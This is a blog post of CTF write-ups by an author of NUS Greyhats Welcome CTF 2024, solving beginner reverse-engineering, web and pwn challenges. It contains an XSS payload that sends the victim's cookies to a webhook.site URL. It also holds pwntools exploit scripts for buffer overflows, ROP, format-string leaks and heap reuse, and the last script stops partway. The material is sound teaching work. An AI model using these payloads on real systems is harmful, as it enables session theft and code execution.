Post

NUS Greyhats Welcome CTF 2024

Welcome CTF is an annual CTF organized by NUS Greyhats. This beginner-friendly CTF is targetted at NUS Students who are keen in exploring the world of cybersecurity.

This CTF consists of challenges that caters to absolute beginners, whilst also having a few difficult questions to challenge the more experienced competitors.

These are writeups on some of the challenges I wrote for Welcome CTF!

Misc - Notefactory

Learning objective: Pwntools scripting :D


Upon connecting to the challenge, we are introduced with an interactive game.

We have to press the keys h j k or l depending on the prompt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ stty -icanon -echo ; python3 challenge.py ; stty sane

instructions:
hit the keys h j k or l in order of the appearing note
the order of the notes to hit are: | h | j | k | l |
in order to win, you have to hit 1000 keys in 10 seconds
press enter to begin

3...
2...
1...
GO!

|   |   |   | X |
|   |   | X |   |
| X |   |   |   |
|   | X |   |   |
|   | X |   |   |
...

This challenge primarily forces participants to learn to script a remote TCP connection with a service.

We can write a simple script with pwntools to solve this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote("localhost", 32111)

p.sendline()
p.recvuntil(b"GO!\n\n")
keys = list(b"hjkl")

for i in range(1000):
    p.send(chr(keys[[x.strip() for x in p.recvline().split(b"|")[1:-1]].index(b"X")]).encode())

p.interactive()


Forensics - Filefactory

Learning objective: Identification of file types :D


We are given a file file.pdf. If we try to identify the file type using the file command, we see that it is a zip file.

1
2
❯ file flag.pdf
flag.pdf: Zip archive data, at least v2.0 to extract, compression method=deflate

As you can see, file extensions can be faked and misleading.

We can then proceed to unzip this file to obtain flag.png

1
2
3
4
5
6
❯ unzip flag.zip
Archive:  flag.zip
  inflating: flag.png

❯ file flag.png
flag.png: data

This time round, file is unable to identify the filetype of flag.png.

We can investigate this by opening flag.png in a hex-editor such as https://hexed.it/.

All files are fundamentally made up of a bunch of bytes, and we can inspect these bytes to find out about the file.

By throwing the image in a hexeditor, we can see that it starts with the words JESS.

The subsequent words (circled in green) suggests that we are looking at a PNG file.

image

The first eight bytes of a PNG file always contain the following (decimal) values:

137 80 78 71 13 10 26 10

This signature indicates that the remainder of the file contains a single PNG image, consisting of a series of chunks beginning with an IHDR chunk and ending with an IEND chunk.

If we search up png file signature bytes, we can find that a PNG file should start with 89 50 4E 47.

We can fix it with the hex editor, and we will finally be able to open the flag.png file to get our flag.

image

Files are typically identified by the starting few bytes of the file (aka the magic bytes).

We can find file signatures for multiple files here.


Web - aimfactory

Learning objective: Client Side validation :D


This is an “aimlabs” style game where you have to click on 1000 targets in 10 seconds.

image

This is obviously impossible, but if we inspect element and look at the code, we note that the score is computed and sent on the client side.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
target.addEventListener("click", function() {
    score += 1; // increment score
    document.getElementById("score").innerText = String(score).padStart(2, '0');
    moveTarget();
});

function startGame() {
    score = 0; // score init
    timeLeft = 10;
    document.getElementById("score").innerText = String(score).padStart(2, '0');
    document.getElementById("timer").innerText = String(timeLeft).padStart(2, '0');

    target.style.display = "block";
    startButton.disabled = true;
    stopButton.disabled = false;

    timerInterval = setInterval(function() {
        timeLeft--;
        document.getElementById("timer").innerText = String(timeLeft).padStart(2, '0');

        if (timeLeft <= 0) {
            clearInterval(timerInterval);
            stopGame();
            submitScore(); // submit score
        }
    }, 1000);

    moveTarget();
}

We can simply Inspect Element > Console and input score = 1000.

This will change the score and submit the modified score to give us the flag. image


Web - Submit your Homework

Learning objective: Cross Site Scripting (XSS) :D


Challenge description: … it seems like my submission is stored as pure HTML and the professor opens it almost immediately?

The source code, as well as the challenge description, hints that the website stores our homework submission as pure HTML, and it is viewed by the professor.

This is a vulnerability (Cross Site Scripting, XSS) whereby we are able to store some javascript code (via html <script> tags) on the website, such that it will execute and do malicious stuff when opened by another person.

We also note that our authentication state is saved in a JWT token cookie, as shown in the image below.

image

auth cookies are what allows a website to identify and authenticate you into a website everytime you reload/reopen it.

By using XSS, we can make the admin query a website of our own with his auth token in the website query. This is known as a cookie stealing reflected XSS attack.

We will use webhook.site to host our web request bin, so that we can view any incoming web requests.

When we submit this as our homework,

1
2
<script>fetch("https://webhook.site/bad274ef-3c94-4dd3-801c-4b723618f12d/?cookie=" + document.cookie);</script>
<!-- document.cookie is a builtin browser javascript function that returns all the cookies  -->

We see two incoming requests – one from ourself, since our own browser also runs the javascript code and the other one is from the admin. image

By replacing our auth_token cookie with that of the admin, we are authenticated as the admin and we will see the flag!


Rev - Simple Windows Flag Checker

Learning objective: Strings :D


1
2
❯ strings program.exe  | grep grey
grey{str1ngs_t3lls_y0u_4l0t_4b0ut_pr0grams}


Rev - Simple Linux Flag Checker

Learning objective: Decompilers :D


image


Rev - Flag Roulette

Learning objective: Debugging :D


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int main()
{
  unsigned int v3; // eax
  __int64 v5; // [rsp+8h] [rbp-8h]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  deobfuscate_flag();
  v3 = time(0LL);
  srand(v3);
  v5 = (__int64)rand() << 32;
  v6 = rand() + v5;
  puts("Let's play a game. If you hit the lucky number 7777777777777777, you get the flag!");
  puts("If not, I will still reward you with part of the flag :)\n");
  if ( v6 == 0x7777777777777777LL )
    printf("JACKPOT! Here's the flag: %s!\n", flag);
  else
    printf("You hit the number %lx, heres %d characters of the flag: %.*s!\n", v6, v6 % 6, v6 % 6, flag); // print (v6 % 6) characters of the flag
  return 0;
}

By decompiling the program in IDA, we can see that the flag is decrypted, and the program prints the first 0 to 5 characters of the flag randomly.

We can simply run this in a debugger such as GDB and view the flag. We would want to set a breakpoint on Line 17 at the printf function.

In IDA, we can click on that line and press TAB to view the address of the call printf instruction.

image

In GDB, we can set a breakpoint at offset 0x1313 using starti ; breakrva 0x1313 and view the flag in memory.

image


Rev - Weird Brainrotted APK

Learning objective: Intro to reversing android programs


We are given an APK file. We can decompile this using JADX.

Typically, with abit of inference, we are able to identify the user code by ignoring the library code.

image

We can look at the decompiled Rizz class.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Rizz {
    private static String IV = "W644i2IVQjBBeth9";
    private static String KEY_STRING = "zsfuxwCqcUOfaXNhHxYvJfPIOEoPMiyL";
    private static String RIZZ = "D7NQV/ledSLBd0zF11CPuPAz8y6D8kt/rQ4j5vNOWhFrlwjMsb40Hg4pEhoeVf3s";

    static {
    }

    public static boolean do_you_have_rizz(String s) {
        return Rizz.encrypt(s).equals("D7NQV/ledSLBd0zF11CPuPAz8y6D8kt/rQ4j5vNOWhFrlwjMsb40Hg4pEhoeVf3s");
    }

    public static String encrypt(String s) {
        try {
            byte[] arr_b = s.getBytes(StandardCharsets.UTF_8);
            Cipher cipher0 = Cipher.getInstance("AES/CBC/PKCS7Padding");
            cipher0.init(1, new SecretKeySpec("zsfuxwCqcUOfaXNhHxYvJfPIOEoPMiyL".getBytes(), "AES"), new IvParameterSpec("W644i2IVQjBBeth9".getBytes()));
            return Base64.encodeToString(cipher0.doFinal(arr_b), 2);
        }
        catch(NoSuchAlgorithmException | IllegalBlockSizeException | NoSuchPaddingException | BadPaddingException | InvalidKeyException | InvalidAlgorithmParameterException exception0) {
            throw new RuntimeException(exception0);
        }
    }
}

This program takes in an input string, and puts it through do_you_have_rizz(input).

It encrypts your input and then checks against the encrypted flag. The AES key and IV is hardcoded into the program.

We can simply extract the encrypted flag and decrypt it using cyberchef.

image


Rev - Is this really python?.

Learning objective: Learning about compiled python programs and deobfuscating complicated list comprehensions


We are provided with a linux program that prompts us for a password and checks it.

1
2
3
4
5
❯ file challenge.py
challenge.py: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=04804d3c31218f938502cbed5cdd1af09d59a8f0, for GNU/Linux 2.6.32, stripped
❯ ./challenge.py
flag? asd
wrong

If we try to decompile it or look through the strings, we find these strings

1
2
3
4
5
❯ strings challenge.py
...
Could not load PyInstaller's embedded PKG archive from the executable (%s)
Could not side-load PyInstaller's PKG archive from external file (%s)
...

This hints that the program is compiled using something called a PyInstaller.

We can use pyinstxtractor to extract the contents of this PyInstaller generated executable file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python3 pyinstxtractor.py challenge.py
[+] Processing challenge.py
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 10745345 bytes
[+] Found 42 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: challenge.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: challenge.py

You can now use a python decompiler on the pyc files within the extracted directory

We have to further use uncompyle6 to decompile the python compiled (.pyc) file to read the python code.

1
2
3
4
5
6
7
8
9
10
11
 uncompyle6 challenge.pyc
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.12 (main, Jul 29 2024, 16:56:48) [GCC 11.4.0]
# Embedded file name: challenge.py
z = input("flag? ")
j = 0
print("correct" if "".join([str(i - j) + "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])[j] if i == sum([1 for i in "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])]) else (str(i - j) + "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])[j], (j := i))[0] if "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])[i] != "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])[j] else "" for i in range(sum([1 for i in "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])]) + 1)]) == "11101321151110131122111217111028192112112211101211121621101813111221101211101229171821151110131715131621191122172112102116111217161721261521191615182721121417141714111211171817161716171521161911161917294128111019181916151710261110141911181618151810181918191617" else "wrong")
# global j ## Warning: Unused global

# okay decompiling challenge.pyc

We finally have the source code of the program. It is slightly complicated, but we can simplify it.

  1. We notice that "".join([str(x ^ y) for x, y in enumerate(map(ord, z))]) is highly repetitive, we can put it in a separate variable and replace it.
  2. Notice that sum([1 for i in enc]) is just len(enc)
1
2
3
4
z = input("flag? ")
j = 0
enc = "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])
print("correct" if "".join([str(i - j) + enc[j] if i == len(enc) else (str(i - j) + enc[j], (j := i))[0] if enc[i] != enc[j] else "" for i in range(sum([1 for i in enc]) + 1)]) == "11101321151110131122111217111028192112112211101211121621101813111221101211101229171821151110131715131621191122172112102116111217161721261521191615182721121417141714111211171817161716171521161911161917294128111019181916151710261110141911181618151810181918191617" else "wrong")

Finally, we can spend some time to refactor the python code to get something like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
z = input("flag? ")

j = 0
input_enc = ""
enc = "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])
for i in range(sum([1 for i in enc]) + 1):
    if i == len(enc):
        input_enc += str(i - j) + enc[j] 
    elif enc[i] != enc[j]:
        j = i
        input_enc += str(i - j) + enc[j]

if input_enc == "11101321151110131122111217111028192112112211101211121621101813111221101211101229171821151110131715131621191122172112102116111217161721261521191615182721121417141714111211171817161716171521161911161917294128111019181916151710261110141911181618151810181918191617":
    print("correct")
else:
    print("wrong")

This program essentially does the following

  1. XOR each ASCII value of the input with its corresponding index
  2. Convert the XOR result into string and concatenate all the strings together
  3. Count the number of duplicate characters, save the number of times a character is repeated followed by the character itself.

We can then decrypt the flag as such

1
2
3
4
x = "11101321151110131122111217111028192112112211101211121621101813111221101211101229171821151110131715131621191122172112102116111217161721261521191615182721121417141714111211171817161716171521161911161917294128111019181916151710261110141911181618151810181918191617":
print("".join([(int(x[i]) * x[i+1]) for i in range(0, len(x), 2)])) # manually split up the string to get the array of XORed characters

print("".join([chr(i ^ j) for (i, j) in enumerate([103,115,103,122,127,108,89,112,122,102,126,110,83,121,102,102,99,78,115,103,75,36,119,122,71,120,116,127,67,116,65,119,65,87,71,124,74,74,121,78,76,76,75,116,91,69,79,91,111,88,109,89,65,70,66,104,91,86,85,80,89,89,67])])) # flag!


Rev - random secure or secure random?

Learning objective: Psuedo-random Number Generator is not secure :D


1
2
3
4
5
6
7
8
9
10
11
int main() {
    srand(time(NULL));
    // ...
    printf("here's your encrypted flag: ");
    for (int i = 0; i < blocks; i++) {
        ((int*)flag)[i] ^= rand(); // XOR flag with rand()
        for (int j = 0; j < 4; j++) {
            printf("%02hhx", ((char*)&(((int*)flag)[i]))[j]); // print encrypted flag in hex
        }
    }
}

The core of this program simply sets the current time as the random seed, and XORs the flag with the randomly generated values.

We can simply re-generate the same rand() values since we know the seed which is the current time at which we run the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from math import ceil
from pwn import *
import ctypes

# set our seed as the current time
lib = ctypes.CDLL("libc.so.6")
lib.srand(lib.time(0))

# get encrypted flag from service
p = process("./challenge")
p.recvuntil(b"flag: ")
enc = bytes.fromhex(p.recvline().strip().decode())
p.close()

# slice the flag into groups of 4
enc = [enc[i:i+4] for i in range(0, len(enc), 4)]

# decrypt the flag by XORing with libc rand()
for i in range(len(enc)):
    enc[i] = xor(enc[i], lib.rand().to_bytes(4, 'little'))

print(b"".join(enc).decode())


Rev - Satisfiability

Learning objective: Solving complicated equations with a SMT solver :D


In order to solve this challenge, we have to satisfy this equations of 60 unknown chracters.

1
2
3
4
5
6
7
((long)(flag[45] - flag[47] + flag[42] - flag[41] + flag[29] )== 154) &&
((long)(flag[28] - flag[54] - flag[53] * flag[59] * flag[5] )== -1378125) &&
((long)(flag[37] + flag[17] * flag[11] - flag[30] + flag[38] )== 10553) &&
// truncated 65 equations
((long)(flag[38] * flag[11] + flag[40] - flag[10] + flag[53] )== 11112) &&
((long)(flag[39] - flag[15] + flag[28] - flag[25] + flag[1] )== 141) &&
((long)(flag[56] * flag[31] + flag[9] - flag[8] + flag[44] )== 12245)

We can paste all of this into cvc5/z3 solver to get the flag! (this is also hinted in the description)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from z3 import *

eqns = """flag[45] - flag[47] + flag[42] - flag[41] + flag[29] == 154
flag[28] - flag[54] - flag[53] * flag[59] * flag[5] == -1378125
flag[37] + flag[17] * flag[11] - flag[30] + flag[38] == 10553
# truncated 65 equations
flag[38] * flag[11] + flag[40] - flag[10] + flag[53] == 11112
flag[39] - flag[15] + flag[28] - flag[25] + flag[1] == 141
flag[56] * flag[31] + flag[9] - flag[8] + flag[44] == 12245""".split("\n")

s = Solver()

flag = [BitVec(f"f{i}", 8) for i in range(60)]

for eqn in eqns:
    s.add(eval(eqn))

print(s.check())
m = s.model()
print("".join([chr(m[i].as_long()) for i in flag]))


Pwn - Stack BOF School

Learning objective: Understand what a Buffer Overflow looks like :D


This is a fully interactive tutorial on how to do a buffer overflow to ret2win.

Simply follow the instructions to overwrite the return addrses with the win function.

image


Pwn - Epic Boss Fight


Learning objective: Understand an Integer Overflow :D

This program features a simple boss fight.

If you try to attack, you deal 1 damage and lose 10 health.

1
2
3
4
5
6
7
8
9
10
11
----------- Boss Fight -------------
 Boss HP: 10000/10000
 Player HP: 100/100
------------------------------------
1. Attack (1 damage)
2. Defend
3. Escape
> 1
You deal 1 damage to the boss.
The boss deals 10 damage to you.
Press Enter to continue.

If you defend, the boss heal by 1000 hp.

1
2
3
4
5
6
7
8
9
10
11
----------- Boss Fight -------------
 Boss HP: 9999/10000
 Player HP: 90/100
------------------------------------
1. Attack (1 damage)
2. Defend
3. Escape
> 2
You defended against the boss's attack.
In the meantime, the boss healed 1000 hp.
The boss now has 10999 hp!

We clearly cannot defeat the boss by attacking.

However if we look at the source code, the boss health is defined as short int boss_hp = 10000;

A short int is a signed 2-byte integer. In order to understand the exploit, we have to understand how a 2-byte integer is represented.

hex representationbit representationshort int value
00 0000000000 000000000
00 0100000000 000000011
7f fe01111111 1111111032766
7f ff01111111 1111111132767
80 0010000000 00000000-32768
80 0110000000 00000001-32767
80 0210000000 00000010-32766

As you can see, as you increment the number, it eventually overflows to a negative integer.

There is no concept of negative integers in bits and bytes.

As such, we split the entire integer space into half, and allocate the upper half to negative integer.

In another words, negative integers are simply large positive integers / stored in 2s complement.

If we keep defending and letting the boss heal, its health eventually goes into the negatives.

1
2
3
4
5
6
7
8
9
10
11
12
13
----------- Boss Fight -------------
 Boss HP: 32000/10000
 Player HP: 100/100
------------------------------------
1. Attack (1 damage)
2. Defend
3. Escape
> 2
You defended against the boss's attack.
In the meantime, the boss healed 1000 hp.
The boss now has -32536 hp!

The boss left you a message as it dies: grey{TEST_FLAG}


Pwn - cowsaymoo

Learning objective: Understand how to use a Buffer Overflow to overwrite a variable :D


We are presented with a buffer overflow in the name variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main() {
    char command[80];
    char name[80];
    strcpy(command, "cowsay ");

    printf("your name: ");
    gets(name); // buffer overflow
    putchar(0xa);

    if (strchr(name, '\'')) // remove all single quotes
        *strchr(name, '\'') = 0;

    snprintf(command + 7, 80-7, "'hello %s!'", name);
    system(command);
}

The stack layout is as such:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌───────────────┐
│               │
│               │
│    name[80]   │
│               │
│               │
┼───────────────┤
│               │
│               │
│  command[80]  │
│               │
│               │
└───────────────┘

By writing 80 characters to fill the name buffer, whatever we add subsequently will overflow into the command buffer to be executed.

As such we can send 80 “A” followed by “sh” to run the system("sh") and give us a shell.

1
2
3
4
5
6
7
from pwn import *

p = process("./challenge")

p.sendline(b"A"*80 + b"sh")

p.interactive()


Pwn - r/WholesomeCopypasta

Learning objective: Understand what is Return Oriented Programming :D


We are given a program with the following source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
char* copypastas[] = {"mc_chicken.txt", "chameleon.txt", "bob.txt", "flag.txt"};

void print_file_contents(char* file_name) {
    FILE *f = fopen(file_name, "r");
    // exit if file does not exist
    if (f == NULL) {
        perror("file does not exist");
        exit(0);
    }
    printf("copypasta contents:\n%s", buf);
}


int main() {

    char filename[100]; // filename has 100 bytes

    printf("input copypasta to read: ");
    size_t end = read(0, filename, 0x100); // input takes in 0x100 == 256 bytes, BUFFER OVERFLOW!!

    if (filename[end-1] = '\n') // convert newline to null byte
        filename[end-1] = 0;

    if (strstr(filename, "flag") || strchr(filename, '/') || strchr(filename, '\\')) { // blacklist
        puts("this copypasta is premium!");
        exit(0);
    }

    print_file_contents(filename);
}

This program prints the contents of a few files, as shown in the copypastas variable available.

The flag.txt string is also in the copypasta, however we are not able to print the contents of flag via any normal means due to the blacklist.

Furthermore, print_file_contents function exits when the provided file is not working.

We can solve this challenge by calling print_flag_contents("flag.txt"). We can do this by constructing a ROP chain when we do a buffer overflow.

Our first argument is contained within the RDI register, which can be set via the pop rdi; ret gadget.

1
2
❯ ROPgadget --binary distribution/challenge | grep "pop rdi"
0x0000000000400c13 : pop rdi ; ret

The address of flag can be shown by printing the copypasta array in GDB.

1
2
3
4
5
pwndbg> tele &copypastas  4
00:0000│  0x6020c0 (copypastas) —▸ 0x400c34 ◂— insd dword ptr [rdi], dx /* 'mc_chicken.txt' */
01:0008│  0x6020c8 (copypastas+8) —▸ 0x400c43 ◂— 'chameleon.txt'
02:0010│  0x6020d0 (copypastas+16) —▸ 0x400c51 ◂— 0x7478742e626f62 /* 'bob.txt' */
03:0018│  0x6020d8 (copypastas+24) —▸ 0x400c59 ◂— insb byte ptr [rdi], dx /* 'flag.txt' */

Finally, we can construct our solve script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.binary = elf = ELF("./challenge")
p = process("./challenge");

# prepare ROP chain to print flag
rop = ROP(elf)
rop.call(rop.ret) # fix stack alignment
rop.print_file_contents(0x400c59)

payload = b"bob.txt\x00" # provide valid file so that program does not exit
payload += b"A"*(0x88-len(payload))
payload += rop.chain()
p.sendline(payload)

p.interactive();


Pwn - The Trial Author

Learning objective: strcpy allows you to overwrite return address with one_gadget :D


We are given a program with the following source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#define BOOK_NAME_SIZE 0x6
#define PAGE_SIZE 0x100

void vuln() {
    char book_name[BOOK_NAME_SIZE] = {0};
    char page_to_print[PAGE_SIZE] = {0};
    unsigned int num_pages;

    puts("if you write me a good book, i might print it for you");
    printf("book name (%u characters): ", BOOK_NAME_SIZE-1);
    size_t sz = read(0, book_name, BOOK_NAME_SIZE-1);
    if (book_name[sz-1] == '\n')
        book_name[sz-1] = 0;

    printf("how many pages (max %u): ", 10);
    scanf("%u", &num_pages);
    getchar();

    if (num_pages > 10) {
        puts("That is too many pages for this book!");
        return;
    }

    if (num_pages == 0) {
        puts("You have to write at least one page :/");
        return;
    }

    printf("\nyour book '");
    printf(book_name); // FORMAT STRING VULNERABILITY!
    printf("' will have %u pages. write the book!\n", num_pages);

    char** pages = calloc(num_pages, sizeof(char*));
    char* book = calloc(num_pages * PAGE_SIZE, sizeof(char));

    for (int i = 0; i < num_pages; i++) {
        pages[i] = &book[i * PAGE_SIZE];
        printf("Page %u > ", i);
        read(0, pages[i], PAGE_SIZE);
        if (pages[i][sz-1] == '\n')
            pages[i][sz-1] = 0;
    }

    unsigned int chosen_page;
    printf("\nyour book is decent. pick a page and i will print it for you (0 - %u): ", num_pages-1);
    scanf("%u", &chosen_page);
    getchar();

    if (chosen_page >= num_pages) {
        puts("Invalid page!");
        return;
    }

    strcpy(page_to_print, pages[chosen_page]); // BUFFER OVERFLOW
    printf("\nheres your page:\n%s\n", page_to_print);
}

This program is slightly lengthy, so I will summarize it in a few points

  1. Takes in name of book (input) of 6 characters
  2. Takes in number of pages
  3. Allocate memory for all the pages (in a contiguous buffer)
  4. Allocate memory for pointer to each and every page (note that these pages are adjacent to each other in memory!)
  5. printf the name of the book (format string vulnerability)
  6. A single page is chosen and copied to the stack via strcpy (buffer overflow).

The important thing to note here is point 6.

There is a buffer overflow because the pages are adjacent in memory, and if we fill each page such that it is not terminated with a null-byte, we will copy more than one page worth of contents into page_to_print which is a stack buffer allocated with a sigle page size.

This allows us to overflow and overwrite the return address on the stack.

HOWEVER, strcpy only copies up to the first null terminator in the buffer.

Since packed addresses in little endian contains null-bytes, we can only overflow the return address with a single address of our choice but we cannot fit a whole ROP chain on the stack.

We can use a one_gadget, which is a single gadget that pops a shell under certain conditions, to overwrite the return address and get a shell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.binary = elf = ELF("./challenge")
libc = elf.libc
# obtain via -- one_gadget -r ./lib/libc.so.6
gadgets = [324254,324261,324354,1090300]

p = process("./challenge")

# leak libc address
p.sendlineafter(b"characters): ", b"%2$p")
p.sendlineafter(b"10): ", b"2")
p.recvuntil(b"book '")
libc.address = int(p.recvuntil(b"'", drop=True), 16) - 4118720
print(hex(libc.address))

# overwrite return address with one_gadget
payload = b"A"*0x138
payload += p64(libc.address + gadgets[0])
p.sendline(payload)
p.sendlineafter(b"1): ", b"0")

p.interactive()


Pwn - dreamfactory

Learning objective: Understand how the heap works, heap re-use :D


The source code is super long, I’ve attached it here if you’d like to take a look.

Anyways, I’ll summarize the functionality of the program in point form.

  1. Dreaming
    • Add a Dream
      • Allocates an array of function pointers on the heap
    • Start Dreaming
      • Executes the function pointers and free the entire array
  2. Notes
    • Take a note
      • Allocate a buffer of variable size to contain note contents
    • Print note
      • Print contents of note
    • Delete note
      • Free note buffer

The vulnerability in this program is that the memory is not cleared after allocation.

The understanding in order to exploit this program is how heap memory is reused and not cleared by default.

When a memory contains some data and is freed, the memory is ‘freed’ but the data is not cleared.

Only the first 16-bytes is overwritten to contain some metadata.

The next time you allocate a memory of the same size, it will reallocate that buffer containing 16 bytes of metadata junk followed by the data that was there before.

Attack 1 – leaking function addresses

  1. Add 4 dreams – this will allocate 8 * 4 = 32 bytes of heap memory
  2. Start dreaming – this will return the 32 bytes of heap memory to the allocator
  3. Take a note of 32 bytes – this will reuse the 32 bytes of heap memory that was returned before
  4. Add 16 As to the note, this will fill up the metadata.
  5. Print the note, this will print the 16 As followed by the function pointers that are immediately after it.

In this way, we have leaked function addresses and bypassed address randomized (PIE/ASLR).

Attach 2 – calling our own function addresses

  1. Take a note of 32 bytes – this will allocate 32 bytes of heap memory.
  2. Add 16 As to the note, followed by a function address of our liking.
  3. Delete the note – this will return the 32 bytes of heap memory to the allocator
  4. Alloacte space for 4 dreams, but only fill the first 2 slots in the dream array.
  5. The third slot of the dream array currently contains the function address we wrote in step 2.
  6. Start dreaming, this will execute our first 2 dreams, followed by our desired function address.

Scripting the Exploit

Now, we just have to write the script to call the dream_about_flag_real function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.binary = elf = ELF("./challenge")
p = process("./challenge")

# step 1: leak ELF address
# step 1a: we leave some function pointer addresses on the heap
p.sendlineafter(b"> ", b"2") # dream!
p.sendlineafter(b"> ", b"1") # add a dream
p.sendlineafter(b"have? ", b"4") # 4 dreams
p.sendlineafter(b"> ", b"1") # dream about valorant
for i in range(3):
    p.sendlineafter(b"> ", b"1") # add a dream
    p.sendlineafter(b"> ", b"1") # dream about valorant
p.sendlineafter(b"> ", b"2") # start dreaming

# step 1b: we leak the function pointer address from the heap
p.sendlineafter(b"> ", b"3") # go back
p.sendlineafter(b"> ", b"1") # listen to class
p.sendlineafter(b"> ", b"1") # take down a note
p.sendlineafter(b"size: ", str(8*4).encode()) # note size: 8*4 = 32 bytes
p.sendafter(b"content: ", b"A"*16) # take down a note
p.sendlineafter(b"> ", b"3") # read a note
p.sendlineafter(b"read: ", b"0") # read a note
win = unpack(p.recvline()[25:-1], "all") + elf.sym.dream_about_flag_real - elf.sym.dream_about_valorant

# step 2: we place the win function address on the heap and trick the program to executing it
# step 2a: we place the win function address on the heap via a note
p.sendlineafter(b"> ", b"1") # take down a note
p.sendlineafter(b"size: ", str(8*4).encode()) # note size
p.sendafter(b"content: ", b"x"*24 + p64(win)) # note content
p.sendlineafter(b"> ", b"2") # delete note
p.sendlineafter(b"remove: ", b"1") # index of note
p.sendlineafter(b"> ", b"4") # delete note

# step 2b: we execute the function
p.sendlineafter(b"> ", b"2") # dream!
p.sendlineafter(b"> ", b"1") # add a dream
p.sendlineafter(b"have? ", b"4") # 4 dreams
p.sendlineafter(b"> ", b"1") # dream about valorant
for i in range(2):
    p.sendlineafter(b"> ", b"1") # add a dream
    p.sendlineafter(b"> ", b"1") # dream about valorant
p.sendlineafter(b"> ", b"2") # start dreaming

p.interactive()


Pwn - re:life

Learning objective: Abuse execve to do a BSS to heap overflow :D


The main crux of this challenge revolves around this.

This challenge is targetted at smurfs for this beginner CTF, and I think this challenge did a good job keeping the smurfs busy :)

Step 1: BSS to Heap Overflow

Essentially, there is a integer overflow in time_skip function that gives us an overflow in the BSS region.

Typically, an overflow in the BSS region would be useless because it does not overflow into anything.

However, there is a 1 in 0x2000 chance where the BSS and heap will be adjacent, allowing us to overflow into the heap.

This challenge allows us to brute-force for this by re-running the program via execve and leaking the address by doing a UAF read on the players lastName.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while True:

    p.sendlineafter(b"Action: ", b"8") # next life : execve to re-run program
    p.sendlineafter(b"Action: ", b"5") # adopt kid
    p.sendlineafter(b"Action: ", b"6") # disown kid : free lastName, but leaves a dangling pointer
    p.sendlineafter(b"Action: ", b"1") # read the dangling pointer to get heap leak

    p.recvuntil(b"Name: ")
    try:
        leak = unpack(p.recvline().split()[1], "all")
    except:
        continue
    i += 1
    stat.status(f"{i} {hex(leak)}")
    if leak == 0x405: # check if heap leak is adjacent to BSS
        break

Step 2: Heap Overflow to RCE

What can we do with a heap overflow?

With some research, we can find out that there is actually a heap chunk that is already allocated in the heap, the tcache_perthread_struct which stores the state of the tcache for each running thread.

By overflowing into this struct, we can control the tcache free list to gain arbitrary allocation.

  1. Arbitrary allocation into global struct profile life variable to overwrite yourName to point to GOT entry
  2. Show life stats to print yourName and leak libc address
  3. Repeat steps 1 and 2, to leak environ or a stack address from TLS
  4. Repeat steps 1 and 2, to allocate a ROP chain to the stack to get RCE.

This is the rough overview of the exploit, the detailed exploit path shall be left as homework for the reader.

Solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.binary = elf = ELF("./service/chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args.REMOTE:
    p = remote("challs.nusgreyhats.org", 32834)
else:
    p = process("./service/chall", aslr=True)
stat = log.progress("enum")
i = 0

while True:

    p.sendlineafter(b"Action: ", b"8")
    p.sendlineafter(b"Action: ", b"5")
    p.sendlineafter(b"Action: ", b"6")
    p.sendlineafter(b"Action: ", b"1")

    p.recvuntil(b"Name: ")
    try:
        leak = unpack(p.recvline().split()[1], "all")
    except:
        continue
    i += 1
    stat.status(f"{i} {hex(leak)}")
    if leak == 0x405:
        break

stat.success(f"beap found after {i} tries")

p.sendlineafter(b"Action: ", b"2")
p.sendlineafter(b"> ", str(2**31).encode()) # prepare for buffer overflow

